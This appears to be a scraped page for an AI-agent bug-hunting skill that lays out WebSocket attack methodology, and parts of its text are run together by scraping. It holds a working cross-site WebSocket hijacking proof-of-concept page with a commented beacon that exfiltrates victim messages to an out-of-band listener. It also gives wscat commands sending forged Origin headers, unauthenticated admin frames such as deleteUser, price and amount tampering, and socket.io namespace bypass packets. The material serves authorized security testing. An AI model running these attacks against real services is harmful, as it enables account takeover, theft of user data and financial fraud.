Loading...
Loading...
Hunt WebSocket vulnerabilities — Cross-Site WebSocket Hijacking (CSWSH), missing/weak Origin validation on the WS handshake, no per-message authentication, message tampering, socket.io namespace/room authorization bypass, and handshake-layer Upgrade smuggling. Use when target has WebSocket endpoints (ws:// or wss://), socket.io / SignalR / Phoenix Channels, real-time features, chat, live dashboards, notifications, or trading platforms.
npx skill4agent add elementalsouls/claude-bughunter hunt-websocketdeleteUsergetSecretConfigUpgradeConnectionSec-WebSocket-*| # | Source / ID | Class | Lesson |
|---|---|---|---|
| 1 | PortSwigger Web Security Academy — "Cross-site WebSocket hijacking" (research + labs) | CSWSH | Canonical CSWSH model: cookie-auth handshake + no CSRF token + missing Origin check → attacker reads/sends as victim. The authoritative methodology. |
| 2 | Christian Schneider — "Cross-Site WebSocket Hijacking (CSWSH)" (original disclosure/write-up, 2013) | CSWSH | First public CSWSH technique: cookie-auth handshake + no Origin enforcement; PoC must prove victim-data receipt in the attacker browser, not just a 101. |
| 3 | Coda CSWSH (referenced in this repo's hunt-csrf set) | CSWSH | Real-time collab apps commonly authenticate the socket purely via cookie; Origin allow-listing was the missing control. |
| 4 | CVE-2020-7662 — | DoS | A crafted |
| 5 | CVE-2024-37890 — | DoS | Many handshake request headers exhaust the server; confirms the handshake itself is parser-attackable pre-frames. |
| 6 | Outdated | socket.io | Motivates the version-fingerprint step in Phase 7 — fingerprint the version, then check that release's known advisories. |
Only the four CVEs above are asserted with exact IDs because they are verifiable. For any case where you are not certain of the exact identifier, describe the technique with no citation — a wrong CVE is worse than none.
# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
recon/$TARGET/ --include="*.js" 2>/dev/null | \
grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u
# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
recon/$TARGET/urls.txt | sort -u
# Probe handshake (101 = upgrade supported)
curl -sI -o /dev/null -w "%{http_code}\n" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
"https://$TARGET/ws"
# socket.io polling handshake leaks version + sid
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep openget_proxy_websocket_history# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
# Look for: Cookie: session=... AND the ABSENCE of any per-request token
# (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
# If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.
# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
--header "Origin: https://evil.com" \
--header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.<!-- Step 3 — Real PoC: host on attacker origin, open while a SEPARATE victim
account is logged into TARGET in the same browser. The bug is only
confirmed if attacker JS RECEIVES the victim's data (or successfully
sends a privileged frame). Cross-origin JS cannot set Origin/Cookie —
the browser does, which is exactly the threat model. -->
<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2); // unique per run
var ws = new WebSocket("wss://TARGET/ws"); // attacker cannot forge Origin
ws.onopen = () => {
log("[+] 101 opened from attacker origin");
ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
};
ws.onmessage = e => {
log("VICTIM-DATA: " + e.data);
// Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
// navigator.sendBeacon("https://<collab-id>.oastify.com/cswsh?d=" + encodeURIComponent(e.data));
};
ws.onerror = e => log("ERR (likely Origin/auth rejected at message layer)");
function log(s){document.getElementById("out").textContent += s + "\n";}
</script></body></html>101Origin: evil.com# No cookie at all — does the server process app frames?
wscat -c "wss://$TARGET/ws"
# > {"type":"getUserData","userId":1}
# > {"type":"getAdminPanel"}
# Low-priv session sending high-priv actions
wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
# > {"action":"deleteUser","userId":999}
# > {"action":"getSecretConfig"}{"type":"payment","amount":100,"signature":"..."}wscatconnect → authenticate → verify_balance → place_orderplace_orderauthenticateverify_balance# Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
# Repeater, or edit-and-forward). Try server-trusted client values:
# {"price":100} -> {"price":0.01}
# {"amount":1} -> {"amount":9999}
# {"userId":123} -> {"userId":1} # impersonate admin
# {"orderTotal":...} -> recompute downstream?
# wscat replay of a tampered frame
wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
# > {"action":"buy","amount":1,"price":0.01}4012# 1) Open the raw socket.io WebSocket (Engine.IO v4)
wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \
--header "Cookie: session=YOUR_SESSION"
# 2) Respond to the server's Engine.IO OPEN ('0{...}') so the connection lives,
# then CONNECT to a namespace with a socket.io CONNECT packet.
# CORRECT packet to join the /admin namespace: 40/admin,
# 4 = Engine.IO MESSAGE, 0 = socket.io CONNECT, /admin, = namespace
# (NOT a ?nsp= query param — see Phase 7. NOT 42 — 42 is MESSAGE+EVENT.)
# > 40/admin,
# Server replies 40/admin,{"sid":"..."} on success, or 44/admin,{...} (error)
# on rejection. A 40 success to a privileged namespace as a low/no-priv
# user is the bug.
# 3) Once in a namespace, emit an EVENT (42) to join another user's room:
# > 42/admin,["join",{"room":"user_999_private"}]
# > 42["subscribe",{"channel":"admin_events"}] # root namespace
# Watch for 42 EVENT frames carrying ANOTHER user's data.4240/adminSignalR analogue: negotiate at, then connect and/<hub>/negotiate/Invokehub methods — test method-level authorization. Phoenix Channels:Sendtophx_joinand check whether the server'stopic:subtopicauthorizes the topic.join/3
GET /admin HTTP/1.1wscatSec-WebSocket-Version426 Upgrade Required400# Detection is HTTP-layer, not frame-layer. Use Burp Repeater / send_http1_request
# and toggle ONE handshake variable at a time, comparing front-vs-origin behavior:
# A) Valid-looking upgrade but unsupported version:
# Upgrade: websocket
# Connection: Upgrade
# Sec-WebSocket-Version: 777 <- origin should 426; does the proxy still tunnel?
# Sec-WebSocket-Key: <16-byte base64>
# B) Upgrade header present but Connection: keep-alive (mismatch)
# C) Smuggled second request body after a "successful" 101, then send a normal
# follow-up request on the same connection and watch for a desynced response.# Version + initial sid (handshake JSON after the leading Engine.IO digit)
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Old/EOL socket.io stacks have known issues — fingerprint the version, then check that release's advisories;
# fingerprint the client lib version from JS bundles too.
# Namespace selection is a PROTOCOL message, not a URL param.
# WRONG: wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket&nsp=/admin"
# ^ `nsp` is NOT a recognized socket.io query param. It is silently
# ignored and you connect to the ROOT namespace "/". You will believe
# you tested /admin when you did not.
# RIGHT: open the socket, then send the CONNECT packet 40/admin, (Phase 5).
# Forged/replayed sid against the polling transport (session fixation / hijack probe)
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling&sid=FAKE_OR_VICTIM_SID"
# 400 "Session ID unknown" = good. A 200 that resumes another sid's stream = bug.npm install -g wscat # CLI WS client (raw + socket.io)
brew install websocat # alt client; supports text/binary + autoreconnect
# Burp Suite Pro: WebSockets history (intercept/edit/replay), HTTP Request
# Smuggler extension (handshake-upgrade smuggling), Collaborator for OAST proof.
# Burp MCP: get_proxy_websocket_history / get_proxy_websocket_history_regex to
# enumerate frames; generate_collaborator_payload + get_collaborator_interactions
# to prove out-of-band receipt from a CSWSH/smuggling PoC.| WS finding | Chain to | Impact |
|---|---|---|
| CSWSH + token in stream | Steal session/refresh/CSRF token from victim frames | ATO (Critical) |
| CSWSH confirmed | Subscribe to victim channels, exfil to OAST | Real-time data theft (High) |
| No per-message auth | Send admin/privileged frames | Privilege escalation (Critical) |
| Message tampering | Modify price/amount/userId, confirm server-side | Financial fraud (Critical) |
| Namespace/room authz bypass | Join other tenant's room, read | Cross-tenant exfil (High) |
| Handshake Upgrade smuggling | Tunnel HTTP past WAF/authz, OAST-confirmed | Smuggling → SSRF/cache poison (High–Critical) |
1014240